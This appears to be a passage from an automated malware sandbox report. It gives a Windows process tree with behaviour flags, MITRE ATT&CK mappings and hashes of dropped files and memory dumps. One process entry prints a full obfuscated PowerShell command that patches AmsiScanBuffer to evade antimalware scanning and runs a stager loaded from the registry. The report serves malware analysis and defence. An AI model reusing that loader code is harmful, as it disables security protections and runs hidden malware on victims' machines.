PID 3056 wrote to memory of 3412	3056	dllhost.exe	70

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:384
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 384 -s 3600
    3⤵
    PID:4900
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{03ba07aa-c2ec-4840-9762-7053b5bd6e57}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3056
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4408

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1184
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:lacfqIFiDiMm{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$eSMbrpjOlhNpWI,[Parameter(Position=1)][Type]$sxhosnPFBj)$qjsbkCPYqrx=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+'g'+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+'du'+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss,'+'P'+'u'+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+'C'+'l'+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+'t'+'o'+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+'',[MulticastDelegate]);$qjsbkCPYqrx.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+'p'+''+'e'+''+[Char](99)+'i'+[Char](97)+''+'l'+''+'N'+''+'a'+''+'m'+''+[Char](101)+','+[Char](72)+''+'i'+'de'+[Char](66)+'y'+'S'+'ig'+','+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$eSMbrpjOlhNpWI).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$qjsbkCPYqrx.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+'k'+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+'S'+'i'+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+'t,'+'V'+''+[Char](105)+'r'+'t'+'u'+'a'+''+[Char](108)+'',$sxhosnPFBj,$eSMbrpjOlhNpWI).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+'M'+'a'+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $qjsbkCPYqrx.CreateType();}$IYKjPCfZIRhHK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'yste'+[Char](109)+'.'+'d'+'l'+'l'+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+'r'+[Char](111)+'s'+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+'3'+[Char](50)+''+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+'tiv'+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$XlTtmDeQvukHRA=$IYKjPCfZIRhHK.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+'r'+''+'e'+'ss',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$sjVeUfwpfJrFaAmUqEr=lacfqIFiDiMm @([String])([IntPtr]);$BTPfJdkCJygmMkysYHgeOA=lacfqIFiDiMm @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QtRgECSnUdI=$IYKjPCfZIRhHK.GetMethod('G'+'e'+'t'+'M'+'o'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+'H'+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+'2.'+'d'+''+'l'+''+[Char](108)+'')));$JlDCMKIMbDkcoI=$XlTtmDeQvukHRA.Invoke($Null,@([Object]$QtRgECSnUdI,[Object](''+[Char](76)+''+'o'+''+[Char](97)+'d'+[Char](76)+'i'+[Char](98)+'r'+[Char](97)+''+[Char](114)+'y'+'A'+'')));$nBCYZmaaTerHCKpkA=$XlTtmDeQvukHRA.Invoke($Null,@([Object]$QtRgECSnUdI,[Object](''+[Char](86)+''+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+''+'l'+''+'P'+''+[Char](114)+''+'o'+''+[Char](116)+'e'+[Char](99)+''+'t'+'')));$VhDDJzx=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JlDCMKIMbDkcoI,$sjVeUfwpfJrFaAmUqEr).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+'i'+'.'+'d'+[Char](108)+''+[Char](108)+'');$xtZCiVPwfYhmrWwum=$XlTtmDeQvukHRA.Invoke($Null,@([Object]$VhDDJzx,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'Sca'+[Char](110)+'B'+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+'r')));$GqUWJbSXCy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nBCYZmaaTerHCKpkA,$BTPfJdkCJygmMkysYHgeOA).Invoke($xtZCiVPwfYhmrWwum,[uint32]8,4,[ref]$GqUWJbSXCy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$xtZCiVPwfYhmrWwum,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nBCYZmaaTerHCKpkA,$BTPfJdkCJygmMkysYHgeOA).Invoke($xtZCiVPwfYhmrWwum,[uint32]8,0x20,[ref]$GqUWJbSXCy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+'T'+'W'+''+'A'+'R'+[Char](69)+'').GetValue('$'+[Char](55)+'7'+[Char](115)+''+[Char](116)+'a'+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1500
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1980

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1804

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2112

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2692

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3068

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3424

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3512
- C:\Users\Admin\AppData\Local\Temp\Install.exe
  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3632

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3824

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3980

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1288

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:3412

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1508

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4876

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4260

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:220

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:232

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2752

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:5092

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
1⤵
PID:2532

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 9ddb8e4e8a8bf33ea4cb4ffd07233ea8 oGGdWiRqgUe5oIB/moy3gw.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:4760
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:4864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5032

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
PID:1512

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Drops file in Windows directory
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1348

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_lloovm2p.gpx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/384-85-0x000001FD4E6E0000-0x000001FD4E70B000-memory.dmp

Filesize
172KB

Download
memory/384-86-0x00007FFAC28CD000-0x00007FFAC28CE000-memory.dmp

Filesize
4KB

Download
memory/384-713-0x00007FFAC28CF000-0x00007FFAC28D0000-memory.dmp

Filesize
4KB

Download
memory/384-77-0x000001FD4E6E0000-0x000001FD4E70B000-memory.dmp

Filesize
172KB

Download
memory/448-113-0x000002301DD30000-0x000002301DD55000-memory.dmp

Filesize
148KB

Download
memory/616-821-0x0000022814B70000-0x0000022814B95000-memory.dmp

Filesize
148KB

Download
memory/616-35-0x0000022814BA0000-0x0000022814BCB000-memory.dmp

Filesize
172KB

Download
memory/616-43-0x0000022814BA0000-0x0000022814BCB000-memory.dmp

Filesize
172KB

Download
memory/616-44-0x00007FFA828B0000-0x00007FFA828C0000-memory.dmp

Filesize
64KB

Download
memory/616-33-0x0000022814B70000-0x0000022814B95000-memory.dmp

Filesize
148KB

Download
memory/616-34-0x0000022814BA0000-0x0000022814BCB000-memory.dmp

Filesize
172KB

Download
memory/616-60-0x00007FFAC28CD000-0x00007FFAC28CE000-memory.dmp

Filesize
4KB

Download
memory/616-59-0x0000022814B70000-0x0000022814B95000-memory.dmp

Filesize
148KB

Download
memory/672-48-0x000001E20DC60000-0x000001E20DC8B000-memory.dmp

Filesize
172KB

Download
memory/672-56-0x000001E20DC60000-0x000001E20DC8B000-memory.dmp

Filesize
172KB

Download
memory/672-57-0x00007FFA828B0000-0x00007FFA828C0000-memory.dmp

Filesize
64KB

Download
memory/672-822-0x000001E20DC30000-0x000001E20DC55000-memory.dmp

Filesize
148KB

Download
memory/960-72-0x00007FFA828B0000-0x00007FFA828C0000-memory.dmp

Filesize
64KB

Download
memory/960-74-0x00007FFAC28CC000-0x00007FFAC28CD000-memory.dmp

Filesize
4KB

Download
memory/960-71-0x0000018D02450000-0x0000018D0247B000-memory.dmp

Filesize
172KB

Download
memory/960-63-0x0000018D02450000-0x0000018D0247B000-memory.dmp

Filesize
172KB

Download
memory/1940-1-0x000002137C940000-0x000002137C962000-memory.dmp

Filesize
136KB

Download
memory/1940-29-0x00007FFAA4630000-0x00007FFAA50F1000-memory.dmp

Filesize
10.8MB

Download
memory/1940-0-0x00007FFAA4633000-0x00007FFAA4635000-memory.dmp

Filesize
8KB

Download
memory/1940-16-0x00007FFAC2830000-0x00007FFAC2A25000-memory.dmp

Filesize
2.0MB

Download
memory/1940-2-0x00007FFAA4630000-0x00007FFAA50F1000-memory.dmp

Filesize
10.8MB

Download
memory/1940-12-0x00007FFAA4630000-0x00007FFAA50F1000-memory.dmp

Filesize
10.8MB

Download
memory/1940-13-0x00007FFAA4630000-0x00007FFAA50F1000-memory.dmp

Filesize
10.8MB

Download
memory/1940-15-0x000002137CCD0000-0x000002137CCFA000-memory.dmp

Filesize
168KB

Download
memory/1940-14-0x00007FFAA4630000-0x00007FFAA50F1000-memory.dmp

Filesize
10.8MB

Download
memory/1940-17-0x00007FFAC2200000-0x00007FFAC22BE000-memory.dmp

Filesize
760KB

Download
memory/3056-28-0x00007FFAC2200000-0x00007FFAC22BE000-memory.dmp

Filesize
760KB

Download
memory/3056-30-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3056-22-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3056-20-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3056-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3056-18-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3056-26-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3056-27-0x00007FFAC2830000-0x00007FFAC2A25000-memory.dmp

Filesize
2.0MB

Download